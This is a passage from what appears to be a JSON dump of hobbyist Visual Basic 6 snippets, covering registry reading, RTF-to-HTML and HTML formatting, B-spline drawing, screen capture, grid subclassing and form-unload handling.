TempStr As String\n Dim Length As Long\n Dim value_type As Long\n \n If Not OpenRegOk Then Exit Function\n \n 'Read the value\n Length = 256\n SubKey_Value = Space$(Length)\n If RegQueryValueEx(HKey, VarName, 0&, value_type, ByVal SubKey_Value, Length) <> 0 Then\n GetValue = \"\"\n Exit Function\n End If\n Select Case value_type\n Case 1 'Text\n SubKey_Value = Left$(SubKey_Value, Length - 1)\n Case 3 'Binary\n SubKey_Value = Left$(SubKey_Value, Length - 1)\n TempStr = \"\"\n For i = 1 To Len(SubKey_Value)\n TempStr = TempStr & Format$(Hex(Asc(Mid$(SubKey_Value, i, 1))), \"00\") & \" \"\n Next i\n SubKey_Value = TempStr\n Case Else\n SubKey_Value = \"value_type=\" & value_type\n End Select\n GetValue = SubKey_Value\n Exit Function\nhandelgetavalue:\n GetValue = \"\"\n Exit Function\nEnd Function\n'This property returns the current KeyValue\nPublic Property Get RegistryRootKey() As HKeys\n RegistryRootKey = RootHKey\nEnd Property\n'This property returns the current 'Registry Directory' your in\nPublic Property Get SubDirectory() As String\n SubDirectory = SubDir\nEnd Property\n'This function open's the registry at a specific 'Registry Directory'\n'eg.\n' Dim MyVariant As Variant, MyReg As New CReadEasyReg, i As Integer\n' If Not MyReg.OpenRegistry(HKEY_LOCAL_MACHINE, \"\") Then\n' MsgBox \"Couldn't open the registry\"\n' Exit Sub\n' End If\n' MyVariant = MyReg.GetAllSubDirectories\n' For i = LBound(MyVariant) To UBound(MyVariant)\n' Debug.Print MyVariant(i)\n' Next i\n' MyReg.CloseRegistry\nPublic Function OpenRegistry(ByVal RtHKey As HKeys, ByVal SbDr As String) As Boolean\nOn Error GoTo OpenReg\n If RtHKey = 0 Then\n OpenRegistry = False\n OpenRegOk = False\n Exit Function\n End If\n RootHKey = RtHKey\n SubDir = SbDr\n If OpenRegOk Then\n CloseRegistry\n OpenRegOk = False\n End If\n If RegOpenKeyEx(RootHKey, SubDir, 0&, KEY_ALL_ACCESS, HKey) <> 0 Then\n OpenRegistry = False\n Exit Function\n End If\n OpenRegOk = True\n OpenRegistry = True\n Exit Function\nOpenReg:\n OpenRegOk = False\n OpenRegistry = False\n Exit Function\nEnd Function\n'This function should be called after you're done with the registry\n'eg. (see other examples)\nPublic Function CloseRegistry() As Boolean\nOn Error Resume Next\n If RegCloseKey(HKey) <> 0 Then\n CloseRegistry = False\n Exit Function\n End If\n CloseRegistry = True\n OpenRegOk = False\nEnd Function\nPrivate Sub Class_Initialize()\n RootHKey = &H0\n SubDir = \"\"\n HKey = 0\n OpenRegOk = False\nEnd Sub\nPrivate Sub Class_Terminate()\nOn Error Resume Next\n If RegCloseKey(HKey) <> 0 Then\n Exit Sub\n End If\nEnd Sub\n"},{"WorldId":1,"id":1534,"LineNumber":1,"line":"Public Function RevInStr(String1 As String, String2 As String) As Integer\n Dim pos As Integer\n Dim pos2 As Integer\n \n Let pos2 = Len(String1)\n Do\n Let pos = (InStr(pos2, String1, String2))\n Let pos2 = pos2 - 1\n Loop Until pos > 0 Or pos2 = 0\n Let RevInStr = pos\nEnd Function"},{"WorldId":1,"id":1538,"LineNumber":1,"line":"Option Explicit\n\nType tag\n text As String\n start As Double\n length As Double\nEnd Type\n\n'*********************************************************************\nPublic Function SimpleFormat(target As String) As String\n\nSimpleFormat = ReplaceSubString(CompactFormat(target), \"><\", \">\" & vbCrLf & \"<\")\n\nEnd Function\n\n'*********************************************************************\nPublic Function CompactFormat(target As String) As String\n\nDim a As String\n\na = ReplaceSubString(target, vbCrLf, \"\")\n\na = ReplaceSubString(a, Chr(9), \" \")\n\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\na = ReplaceSubString(a, \" \", \" \")\n\na = Clean(a)\n\nCompactFormat = a\n\nEnd Function\n\n'*********************************************************************\nPublic Function HierarchalFormat(target As String) As String\n \n target = ReplaceSubString(target, vbCrLf, \"\")\n target = ReplaceSubString(target, vbTab, \"\")\n \n target = Eformat(target)\n \n HierarchalFormat = Clean(target)\n\nEnd Function\n\n'*********************************************************************\n'this lines denotes separation from public access and inner workings\n'*********************************************************************\n\nPrivate Function Clean(targ As String) As String\n\ntarg = ReplaceSubString(targ, \" >\", \">\")\ntarg = ReplaceSubString(targ, \"< \", \"<\")\ntarg = ReplaceSubString(targ, \"> <\", \"><\")\n\nClean = targ\n\nEnd Function\n\nPublic Function ReplaceSubString(str As String, ByVal substr As String, ByVal newsubstr As String)\n\nDim pos As Double\nDim startPos As Double\nDim new_str As String\n\n startPos = 1\n pos = InStr(str, substr)\n Do While pos > 0\n new_str = new_str & Mid$(str, startPos, pos - startPos) & newsubstr\n startPos = pos + Len(substr)\n pos = InStr(startPos, str, substr)\n Loop\n new_str = new_str & Mid$(str, startPos)\n ReplaceSubString = new_str\n \nEnd Function\n\nPrivate Function Eformat(str As String) As String\n On Error Resume Next\n\n Dim startPos As Double\n Dim endPos As Double\n\n Dim indentationLevel As Double\n\n Dim new_str As String\n\n indentationLevel = 0\n startPos = 0\n endPos = 0\n\n If (Mid$(str, 1, 1) <> \"<\") Then\n \n Dim tempEnd As Double\n tempEnd = InStr(1, str, \"<\")\n If tempEnd = 0 Then\n tempEnd = Len(str)\n End If\n \n new_str = Mid$(str, 1, tempEnd)\n \n End If\n\n Do\n\n DoEvents\n\n If InStr(startPos + 1, str, \"</\") <> 0 And InStr(startPos + 1, str, \"</\") <= InStr(startPos + 1, str, \"<\") Then\n\n startPos = InStr(startPos + 1, str, \"</\")\n endPos = InStr(startPos + 1, str, \"<\")\n\n If endPos = 0 Then\n endPos = Len(str) + 1\n End If\n\n indentationLevel = indentationLevel - 1\n new_str = new_str & vbCrLf & String(indentationLevel, vbTab) & Mid$(str, startPos, endPos - startPos)\n\n Else\n\n startPos = InStr(startPos + 1, str, \"<\")\n endPos = InStr(startPos + 1, str, \"<\")\n\n If endPos = 0 Then\n endPos = Len(str) + 1\n End If\n\n new_str = new_str & vbCrLf & String(indentationLevel, vbTab) & Mid$(str, startPos, endPos - startPos)\n \n Dim tagName As String\n tagName = LCase(returnNameOfTag(returnNextTag(str, startPos)))\n If tagName <> \"br\" And tagName <> \"hr\" And tagName <> \"img\" And tagName <> \"meta\" And tagName <> \"applet\" And tagName <> \"p\" And tagName <> \"!--\" And tagName <> \"input\" And tagName <> \"!doctype\" And tagName <> \"area\" Then\n indentationLevel = indentationLevel + 1\n End If\n \n End If\n\n Loop While startPos > 0\n\n Eformat = new_str\n\nEnd Function\n\n\nPublic Function returnNextTag(ByRef str As String, ByVal start As Double) As tag\n On Error Resume Next\n\n Dim endPos As Double\n\n start = InStr(start + 1, str, \"<\")\n endPos = InStr(start + 1, str, \">\")\n\n returnNextTag.text = Mid$(str, start, endPos - start + 1)\n returnNextTag.start = start\n returnNextTag.length = endPos - start\n\nEnd Function\n\nPublic Function returnNameOfTag(ByRef str As tag) As String\n On Error Resume Next\n\n Dim endPos As Double\n Dim start As Double\n\n start = 2\n endPos = InStr(1, str.text, \" \")\n If Mid$(str.text, 2, 3) = \"!--\" Then\n endPos = 5\n ElseIf endPos = 0 Then\n endPos = InStr(1, str.text, \">\")\n End If\n\n returnNameOfTag = Mid$(str.text, start, endPos - start)\n\nEnd Function"},{"WorldId":1,"id":1541,"LineNumber":1,"line":"'Insert this in a module:\n\nPublic Sub GetWindowSnapShot(Mode As Long, ThisImage As Image)\n \n ' mode = 0 -> Screen snapshot\n ' mode = 1 -> Window snapshot\n \n Dim altscan%, NT As Boolean, nmode As Long\n \n NT = IsNT\n If Not NT Then\n If Mode = 0& Then Mode = 1& Else Mode = 0&\n End If\n \n If NT And Mode = 0 Then\n keybd_event vbKeySnapshot, 0&, 0&, 0&\n Else\n altscan = MapVirtualKey(VK_MENU, 0)\n keybd_event VK_MENU, altscan, 0, 0\n DoEvents\n keybd_event vbKeySnapshot, Mode, 0&, 0&\n End If\n DoEvents\n ThisImage = Clipboard.GetData(vbCFBitmap)\n keybd_event VK_MENU, altscan, KEYEVENTF_KEYUP, 0\nEnd Sub\nPublic Function IsNT() As Boolean\n Dim verinfo As OSVERSIONINFO\n verinfo.dwOSVersionInfoSize = Len(verinfo)\n If (GetVersionEx(verinfo)) = 0 Then Exit Function\n If verinfo.dwPlatformId = 2 Then IsNT = True\nEnd Function\n"},{"WorldId":1,"id":1545,"LineNumber":1,"line":"Function RTF2HTML(strRTF As String) As String\n 'Version 2.1 (3/30/99)\n \n 'The most current version of this function is available at\n 'http://www2.bitstream.net/~bradyh/downloads/rtf2html.zip\n \n 'Converts Rich Text encoded text to HTML format\n 'if you find some text that this function doesn't\n 'convert properly please email the text to\n 'bradyh@bitstream.net\n Dim strHTML As String\n Dim l As Long\n Dim lTmp As Long\n Dim lRTFLen As Long\n Dim lBOS As Long 'beginning of section\n Dim lEOS As Long 'end of section\n Dim strTmp As String\n Dim strTmp2 As String\n Dim strEOS 'string to be added to end of section\n Const gHellFrozenOver = False 'always false\n Dim gSkip As Boolean 'skip to next word/command\n Dim strCodes As String 'codes for ascii to HTML char conversion\n \n strCodes = \" {00}© {a9}´ {b4}« {ab}» {bb}¡ {a1}¿{bf}À{c0}à{e0}Á{c1}\"\n strCodes = strCodes & \"á{e1}Â {c2}â {e2}Ã{c3}ã{e3}Ä {c4}ä {e4}Å {c5}å {e5}Æ {c6}\"\n strCodes = strCodes & \"æ {e6}Ç{c7}ç{e7}Ð {d0}ð {f0}È{c8}è{e8}É{c9}é{e9}Ê {ca}\"\n strCodes = strCodes & \"ê {ea}Ë {cb}ë {eb}Ì{cc}ì{ec}Í{cd}í{ed}Î {ce}î {ee}Ï {cf}\"\n strCodes = strCodes & \"ï {ef}Ñ{d1}ñ{f1}Ò{d2}ò{f2}Ó{d3}ó{f3}Ô {d4}ô {f4}Õ{d5}\"\n strCodes = strCodes & \"õ{f5}Ö {d6}ö {f6}Ø{d8}ø{f8}Ù{d9}ù{f9}Ú{da}ú{fa}Û {db}\"\n strCodes = strCodes & \"û {fb}Ü {dc}ü {fc}Ý{dd}ý{fd}ÿ {ff}Þ {de}þ {fe}ß {df}§ {a7}\"\n strCodes = strCodes & \"¶ {b6}µ {b5}¦{a6}±{b1}·{b7}¨ {a8}¸ {b8}ª {aa}º {ba}¬ {ac}\"\n strCodes = strCodes & \" {ad}¯ {af}° {b0}¹ {b9}² {b2}³ {b3}¼{bc}½{bd}¾{be}× {d7}\"\n strCodes = strCodes & \"÷{f7}¢ {a2}£ {a3}¤{a4}¥ {a5}\"\n strHTML = \"\"\n lRTFLen = Len(strRTF)\n 'seek first line with text on it\n lBOS = InStr(strRTF, vbCrLf & \"\\deflang\")\n If lBOS = 0 Then GoTo finally Else lBOS = lBOS + 2\n lEOS = InStr(lBOS, strRTF, vbCrLf & \"\\par\")\n If lEOS = 0 Then GoTo finally\n While Not gHellFrozenOver\n strTmp = Mid(strRTF, lBOS, lEOS - lBOS)\n l = lBOS\n While l <= lEOS\n strTmp = Mid(strRTF, l, 1)\n Select Case strTmp\n Case \"{\"\n l = l + 1\n Case \"}\"\n strHTML = strHTML & strEOS\n l = l + 1\n Case \"\\\" 'special code\n l = l + 1\n strTmp = Mid(strRTF, l, 1)\n Select Case strTmp\n Case \"b\"\n If ((Mid(strRTF, l + 1, 1) = \" \") Or (Mid(strRTF, l + 1, 1) = \"\\\")) Then\n strHTML = strHTML & \"\"\n strEOS = \"\" & strEOS\n If (Mid(strRTF, l + 1, 1) = \" \") Then l = l + 1\n ElseIf (Mid(strRTF, l, 7) = \"bullet \") Then\n strHTML = strHTML & \"ΓÇó\" 'bullet\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"e\"\n If (Mid(strRTF, l, 7) = \"emdash \") Then\n strHTML = strHTML & \"ΓÇö\"\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"i\"\n If ((Mid(strRTF, l + 1, 1) = \" \") Or (Mid(strRTF, l + 1, 1) = \"\\\")) Then\n strHTML = strHTML & \"\"\n strEOS = \"\" & strEOS\n If (Mid(strRTF, l + 1, 1) = \" \") Then l = l + 1\n Else\n gSkip = True\n End If\n Case \"l\"\n If (Mid(strRTF, l, 10) = \"ldblquote \") Then\n strHTML = strHTML & \"ΓÇ£\"\n l = l + 9\n ElseIf (Mid(strRTF, l, 7) = \"lquote \") Then\n strHTML = strHTML & \"ΓÇÿ\"\n l = l + 6\n Else\n gSkip = True\n End If\n Case \"p\"\n If ((Mid(strRTF, l, 6) = \"plain\\\") Or (Mid(strRTF, l, 6) = \"plain \")) Then\n strHTML = strHTML & strEOS\n strEOS = \"\"\n If Mid(strRTF, l + 5, 1) = \"\\\" Then l = l + 4 Else l = l + 5 'catch next \\ but skip a space\n Else\n gSkip = True\n End If\n Case \"r\"\n If (Mid(strRTF, l, 7) = \"rquote \") Then\n strHTML = strHTML & \"ΓÇÖ\"\n l = l + 6\n ElseIf (Mid(strRTF, l, 10) = \"rdblquote \") Then\n strHTML = strHTML & \"ΓÇ¥\"\n l = l + 9\n Else\n gSkip = True\n End If\n Case \"t\"\n If (Mid(strRTF, l, 4) = \"tab \") Then\n strHTML = strHTML & Chr$(9) 'tab\n l = l + 3\n Else\n gSkip = True\n End If\n Case \"'\"\n strTmp2 = \"{\" & Mid(strRTF, l + 1, 2) & \"}\"\n lTmp = InStr(strCodes, strTmp2)\n If lTmp = 0 Then\n strHTML = strHTML & Chr(\"&H\" & Mid(strTmp2, 2, 2))\n Else\n strHTML = strHTML & Trim(Mid(strCodes, lTmp - 8, 8))\n End If\n l = l + 2\n Case \"~\"\n strHTML = strHTML & \" \"\n Case \"{\", \"}\", \"\\\"\n strHTML = strHTML & strTmp\n Case vbLf, vbCr, vbCrLf 'always use vbCrLf\n strHTML = strHTML & vbCrLf\n Case Else\n gSkip = True\n End Select\n If gSkip = True Then\n 'skip everything up until the next space or \"\\\"\n While ((Mid(strRTF, l, 1) <> \" \") And (Mid(strRTF, l, 1) <> \"\\\"))\n l = l + 1\n Wend\n gSkip = False\n If (Mid(strRTF, l, 1) = \"\\\") Then l = l - 1\n End If\n l = l + 1\n Case vbLf, vbCr, vbCrLf\n l = l + 1\n Case Else\n strHTML = strHTML & strTmp\n l = l + 1\n End Select\n Wend\n \n lBOS = lEOS + 2\n lEOS = InStr(lEOS + 1, strRTF, vbCrLf & \"\\par\")\n If lEOS = 0 Then GoTo finally\n \n strHTML = strHTML & \" \"\n Wend\n \nfinally:\n RTF2HTML = strHTML\nEnd Function"},{"WorldId":1,"id":1546,"LineNumber":1,"line":"'\n'Add the following code to modSpline\n'\nOption Explicit\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPublic inp() As POINTAPI\nPublic outp() As POINTAPI\nPublic N As Integer\nPublic T As Integer\nPublic RESOLUTION As Integer\n' Example of how to call the spline functions\n' Basically one needs to create the control points, then compute\n' the knot positions, then calculate points along the curve.\n'\n'1. You have to define two arrays of the Type POINTAPI\n' 'Dim inp() As POINTAPI, outp() as POINTAPI\n'2. Define te array of Knots as integer\n' 'Dim knots() As Integer\n' Define Three more variables\n' N as integer : number of entries in inp()-1 '\n' T as integer : The blending factor usually 3\n' a value of 2 draws the polyline\n' RESOLUTION as integer : The number of segments in which the whole\n' spline will be divided\n' I prefer to calculate the resolution after the inp() array is filled\n' that's a way to ensure a proper resolution\n' e.g resolution = 10 * N or\n' you can enter a constant resolution regardless of the length of the\n' of the spline e.g RESOLUTION = 200\n'\n'3. Fill the input array either by code or interactively by clicking\n' in the destination form or picturebox\n'4. Once you have the filled inp() array, you have to fill the rest of the variables\n'\n' N = UBound(inp) - 1\n' RESOLUTION = 10*n\n' T=3\n' Redim knots(N + T + 1)\n' Redim outp(RESOLUTION)\n' Now it's time to call the Functions\n'\n' Call SplineKnots(knots(), N, T)\n' Call SplineCurve(inp(), N, knots(), T, outp(), RESOLUTION)\n'\n' SplineCurve Returns outp() filled with the points along the Spline\n'\n' To draw the spline do the following:\n'Dim i as integer\n'For i = 0 To RESOLUTION\n' Form1.Picture1.Line (outp(i-1).x, outp(i-1).y) - (outp(i).x, outp(i).y)\n'Next\n'\n' That's all to it. Enjoy!\n'\n'SPLINEPOINT\n'This returns the point \"output\" on the spline curve.\n'The parameter \"v\" indicates the position, it ranges from 0 to n-t+2\nPrivate Function SplinePoint(u() As Integer, N As Integer, T As Integer, v As Single, Control() As POINTAPI, output As POINTAPI)\nDim k As Integer\nDim b As Single\noutput.X = 0: output.Y = 0 ': output.Z = 0\n \nFor k = 0 To N\n b = SplineBlend(k, T, u(), v)\n \n output.X = output.X + Control(k).X * b\n output.Y = output.Y + Control(k).Y * b\n 'for a 3D b-Spline use the following\n ' output.Z = output.Z + Control(k).Z * b\nNext\nEnd Function\n'SPLINEBLEND\n'Calculate the blending value, this is done recursively.\n'If the numerator and denominator are 0 the expression is 0.\n'If the deonimator is 0 the expression is 0\nPrivate Function SplineBlend(k As Integer, T As Integer, u() As Integer, v As Single) As Single\nDim value As Single\n If T = 1 Then\n If (u(k) <= v And v < u(k + 1)) Then\n value = 1\n Else\n value = 0\n End If\n Else\n If ((u(k + T - 1) = u(k)) And (u(k + T) = u(k + 1))) Then\n value = 0\n ElseIf (u(k + T - 1) = u(k)) Then\n value = (u(k + T) - v) / (u(k + T) - u(k + 1)) * SplineBlend(k + 1, T - 1, u, v)\n ElseIf (u(k + T) = u(k + 1)) Then\n value = (v - u(k)) / (u(k + T - 1) - u(k)) * SplineBlend(k, T - 1, u, v)\n Else\n value = (v - u(k)) / (u(k + T - 1) - u(k)) * SplineBlend(k, T - 1, u, v) + _\n (u(k + T) - v) / (u(k + T) - u(k + 1)) * SplineBlend(k + 1, T - 1, u, v)\n End If\n End If\n \nSplineBlend = value\nEnd Function\n'SPLINEKNOTS\n' The positions of the subintervals of v and breakpoints, the position\n' on the curve are called knots. Breakpoints can be uniformly defined\n' by setting u(j) = j, a more useful series of breakpoints are defined\n' by the function below. This set of breakpoints localises changes to\n' the vicinity of the control point being modified.\nPublic Sub SplineKnots(u() As Integer, N As Integer, T As Integer)\nDim j As Integer\nFor j = 0 To N + T\n If j < T Then\n u(j) = 0\n ElseIf (j <= N) Then\n u(j) = j - T + 1\n ElseIf (j > N) Then\n u(j) = N - T + 2\n \n End If\n \nNext\nEnd Sub\n'SPLINECURVE\n' Create all the points along a spline curve\n' Control points \"inp\", \"n\" of them. Knots \"knots\", degree \"t\".\n' Ouput curve \"outp\", \"res\" of them.\nPublic Sub SplineCurve(inp() As POINTAPI, N As Integer, knots() As Integer, T As Integer, outp() As POINTAPI, res As Integer)\nDim i As Integer\nDim interval As Single, increment As Single\ninterval = 0\nincrement = (N - T + 2) / (res - 1)\n For i = 0 To res - 1 '{\n Call SplinePoint(knots(), N, T, interval, inp(), outp(i))\n interval = interval + increment\n Next\n outp(res - 1) = inp(N)\nEnd Sub\n'EOF() module modSpline\n'\n'\n'\n'The following code goes in frmSpline\n'\nOption Explicit\nDim selGrip As Label\nDim mode As Integer\nPrivate Sub cboDegree_Click()\nIf Not Me.Visible Then Exit Sub\n eraseSpline\n DrawSpline\nEnd Sub\nPrivate Sub cmdClear_Click()\nDim i As Integer\nlblGrip(0).Visible = False\nFor i = 1 To lblGrip.UBound\n Unload lblGrip(i)\nNext\nReDim inp(0)\nN = 0\nReDim outp(RESOLUTION)\nPicDraw.Cls\nlblLen = \"Spline Length: 0\"\ncboDegree.Enabled = False\ntxtRes.Enabled = False\n \nEnd Sub\nPrivate Sub Form_Load()\nWith cboDegree\n .AddItem \"1\"\n .AddItem \"2\"\n .AddItem \"3\"\n .AddItem \"4\"\n .AddItem \"5\"\n .ListIndex = 2\n .Enabled = False\nEnd With\ntxtRes.Enabled=False\nRESOLUTION = 5\nEnd Sub\nPrivate Sub mnuDelete_Click()\ndelGrip\nEnd Sub\nPrivate Sub OpMode_Click(Index As Integer)\nmode = Index\nEnd Sub\nPrivate Sub lblGrip_MouseDown(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)\nSet selGrip = lblGrip(Index)\nIf Button = vbLeftButton Then\n lblGrip(Index).Drag\nElse\n PopupMenu mnuEdit\nEnd If\nEnd Sub\nPrivate Sub PicDraw_DragOver(Source As Control, X As Single, Y As Single, State As Integer)\nSource.Move X, Y\neraseSpline\ninp(Source.Index).X = X\ninp(Source.Index).Y = Y\nDrawSpline\nEnd Sub\nPrivate Sub PicDraw_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'Dim tmp As Integer\nStatic sErase As Boolean\nIf Button = vbRightButton Then Exit Sub\nIf mode = 1 Then 'Drawing mode\n ReDim Preserve inp(N)\n inp(N).X = X: inp(N).Y = Y\n If N > 0 Then Load lblGrip(N)\n With lblGrip(N)\n .Move X - .Width \\ 2, Y - .Height \\ 2\n .Visible = True\n End With\n \n N = N + 1\n If N >= 3 Then\n cboDegree.Enabled = True\n txtRes.Enabled = True\n \n If sErase Then eraseSpline\n DrawSpline\n sErase = True\n End If\nEnd If\nSet selGrip = Nothing\nEnd Sub\nPrivate Sub DrawSpline()\nDim i As Integer\nDim knots() As Integer\nDim sLen As Single\nDim h!, d!\nDim sRes As Integer\nsRes = RESOLUTION * N\n T = CInt(cboDegree.ListIndex + 1)\n \n ReDim knots(N + T) '+ 1)\n ' tmp = UBound(knots)\n ReDim outp(sRes)\n \n Call SplineKnots(knots(), N - 1, T)\n Call SplineCurve(inp(), N - 1, knots(), T, outp(), sRes)\n \n 'Calculate the length of each segment\n 'and draw it\n For i = 1 To (sRes) - 1\n d = Abs(outp(i).X - outp(i - 1).X)\n h = Abs(outp(i).Y - outp(i - 1).Y)\n sLen = sLen + Sqr(d ^ 2 + h ^ 2)\n \n frmSpline.PicDraw.Line (outp(i - 1).X, outp(i - 1).Y)-(outp(i).X, outp(i).Y), vbBlack\n Next\n lblLen = \"Spline Length:\" & CInt(sLen) & \" Pixels\"\nEnd Sub\nPrivate Sub eraseSpline()\nOn Local Error Resume Next\n'If the Outp() array isn't initialized goto error routine\n Dim i As Integer\n Dim aLen As Integer\n aLen = UBound(outp)\n If Err = 0 Then\n For i = 1 To aLen\n frmSpline.PicDraw.Line (outp(i - 1).X, outp(i - 1).Y)-(outp(i).X, outp(i).Y), PicDraw.BackColor\n Next\n \n End If\n \nerrErase:\n Err = 0\n On Local Error GoTo 0\nEnd Sub\nPrivate Sub txtRes_LostFocus()\neraseSpline\n RESOLUTION = CInt(txtRes.Text)\nDrawSpline\nEnd Sub\nPrivate Sub delGrip()\nDim newInp() As POINTAPI\nDim i As Integer, apos As Integer\nDim idx As Integer\nReDim newInp(UBound(inp) - 1)\nidx = selGrip.Index\nFor i = 0 To UBound(inp)\n If i <> 0 Then Unload lblGrip(i)\n If i <> idx Then\n newInp(apos) = inp(i)\n apos = apos + 1\n End If\nNext\nReDim inp(UBound(newInp))\nFor i = 0 To UBound(newInp)\n If i <> 0 Then Load lblGrip(i)\n With lblGrip(i)\n .Move newInp(i).X - (.Width \\ 2), newInp(i).Y - (.Height \\ 2)\n .Visible = True\n End With\n inp(i) = newInp(i)\nNext\nN = UBound(inp) + 1\neraseSpline\nDrawSpline\nEnd Sub\n'EOF() frmSpline Code\n"},{"WorldId":1,"id":1548,"LineNumber":1,"line":"Private Sub Form_QueryUnload(cancel As Integer, UnloadMode As Integer)\n \n'To cancel the unload make the cancel = true. Don't do it\n'on the vbAppTaskManager one though.\n \n Dim ans As String\n Select Case UnloadMode\n Case vbFormControlMenu 'Value 0\n \n'This will be called if you select the close from the little icon\n'menu on top and left of the form.\n cancel = False\n \n Case vbFormCode 'Value 1\n \n'This will be called if your code requested a unload\n cancel = False\n \n Case vbAppWindows 'Value 2\n'vbAppWindows is triggered when you shutdown Windows and your app is still \n'running. Added by Jim MacDiarmid\n cancel = False\n End\n \n Case vbAppTaskManager 'Value 3\n \n'You have to allow the taskmanager to close the program, else you get\n'that nasty 'App not responding, close anyway' dialog :<\n'The clever way arround it would be to restart your program\n'This would be used for a password screen!\n \n cancel = False\n x = Shell(App.Path & \"\\\" & App.EXEName, vbNormalFocus)\n End\n \n Case vbFormMDIForm 'Value 4\n'This code is called from the parent form\n cancel = False\n End Select\nEnd Sub\n"},{"WorldId":1,"id":1567,"LineNumber":1,"line":"/*************************** frmMain ****************************/\nVERSION 5.00\nObject = \"{5E9E78A0-531B-11CF-91F6-C2863C385E30}#1.0#0\"; \"Msflxgrd.ocx\"\nBegin VB.Form frmMain \n BorderStyle = 3 'Fixed Dialog\n Caption = \"Resize the Grid !!!\"\n ClientHeight = 4110\n ClientLeft = 4650\n ClientTop = 3750\n ClientWidth = 6735\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 4110\n ScaleWidth = 6735\n ShowInTaskbar = 0 'False\n Begin MSFlexGridLib.MSFlexGrid MSFlexGrid1 \n Height = 3015\n Left = 120\n TabIndex = 0\n Top = 960\n Width = 6495\n _ExtentX = 11456\n _ExtentY = 5318\n _Version = 65541\n Rows = 4\n Cols = 4\n AllowUserResizing= 1\n End\n Begin VB.Label Label2 \n Caption = \"Try to resize the columns of MSFlexGrid. All the columns will be resized proportionally.\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 9.75\n Charset = 204\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n ForeColor = &H8000000D&\n Height = 615\n Left = 1320\n TabIndex = 1\n Top = 120\n Width = 3975\n End\nEnd\nAttribute VB_Name = \"frmMain\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\n' This constant is used to refer to the Message Handling function in a given window\nPrivate Const GWL_WNDPROC = (-4)\nPrivate Sub Form_Load()\n \n 'Save the address of the existing Message Handler\n g_lngDefaultHandler = GetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC)\n \n 'Define new message handler routine\n Call SetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC, AddressOf GridMessage)\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n \n 'Return the old handler back\n Call SetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC, g_lngDefaultHandler)\n \nEnd Sub\nPublic Sub ResizeGridProportional()\nDim SumWidth As Long\nDim i As Integer\nWith MSFlexGrid1\n For i = 1 To .Cols\n SumWidth = SumWidth + .ColWidth(i - 1)\n Next i\n For i = 1 To .Cols\n .ColWidth(i - 1) = SumWidth / .Cols\n Next i\nEnd With\nEnd Sub\n\n/* ******************** MODULE ***********************************/\nAttribute VB_Name = \"mHandlers\"\n'\nOption Explicit\nPublic g_lngDefaultHandler As Long ' Original handler of the grid events\nPrivate m_bLMousePressed As Boolean 'true if the left button is pressed\nPrivate m_bLMouseClicked As Boolean 'true just after the click (i.e. just after the left button is released)\n'API declarations ============================================================\n' Function to retrieve the address of the current Message-Handling routine\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long\n' Function to define the address of the Message-Handling routine\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\n' Function to execute a function residing at a specific memory address\nDeclare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n'Windows messages constants\nPublic Const WM_LBUTTONUP = &H202\nPublic Const WM_LBUTTONDOWN = &H201\nPublic Const WM_ERASEBKGND = &H14\n'==============================================================================\n'this is our event handler\nPublic Function GridMessage(ByVal hwnd As Long, ByVal Msg As Long, ByVal wp As Long, ByVal lp As Long) As Long\n If m_bLMousePressed And Msg = WM_LBUTTONUP Then\n 'button have been just released\n m_bLMousePressed = False\n m_bLMouseClicked = True\n End If\n \n If Not (m_bLMousePressed) And Msg = WM_LBUTTONDOWN Then\n 'button have been just pressed\n m_bLMousePressed = True\n m_bLMouseClicked = False\n End If\n \n If m_bLMouseClicked And (Msg = WM_ERASEBKGND) Then\n 'Only when resize happens this event may occur after releasing the button !\n 'When user is making a simple click on grid,\n 'the WM_ERASEBKGND event occurs before WM_LBUTTONUP,\n 'and therefore will not be handled there\n \n frmMain.ResizeGridProportional\n m_bLMouseClicked = False\n \n End If\n \n 'call the default message handler\n GridMessage = CallWindowProc(g_lngDefaultHandler, hwnd, Msg, wp, lp)\n \nEnd Function"},{"WorldId":1,"id":1568,"LineNumber":1,"line":"Leave Picture1 blank, make Picture2's picture a \"kill picture\" (so when the target is hit a bullet hole appears in it) and make Picture3's Picture the blank target (ie an \"unwounded target\")\nCopy and paste this into a notepad and save as form1.frm\nVERSION 5.00\nBegin VB.Form Form1 \n BorderStyle = 4 'Fixed ToolWindow\n ClientHeight = 3195\n ClientLeft = 45\n ClientTop = 285\n ClientWidth = 4680\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 3195\n ScaleWidth = 4680\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.Timer tmrSeconds \n Left = 600\n Top = 960\n End\n Begin VB.CommandButton cmdReset \n Caption = \"&Reset\"\n Height = 375\n Left = 120\n TabIndex = 5\n Top = 2760\n Visible = 0 'False\n Width = 855\n End\n Begin VB.PictureBox Picture3 \n Appearance = 0 'Flat\n BackColor = &H00C0C0C0&\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 495\n Left = 960\n ScaleHeight = 495\n ScaleWidth = 495\n TabIndex = 4\n Top = 2040\n Visible = 0 'False\n Width = 495\n End\n 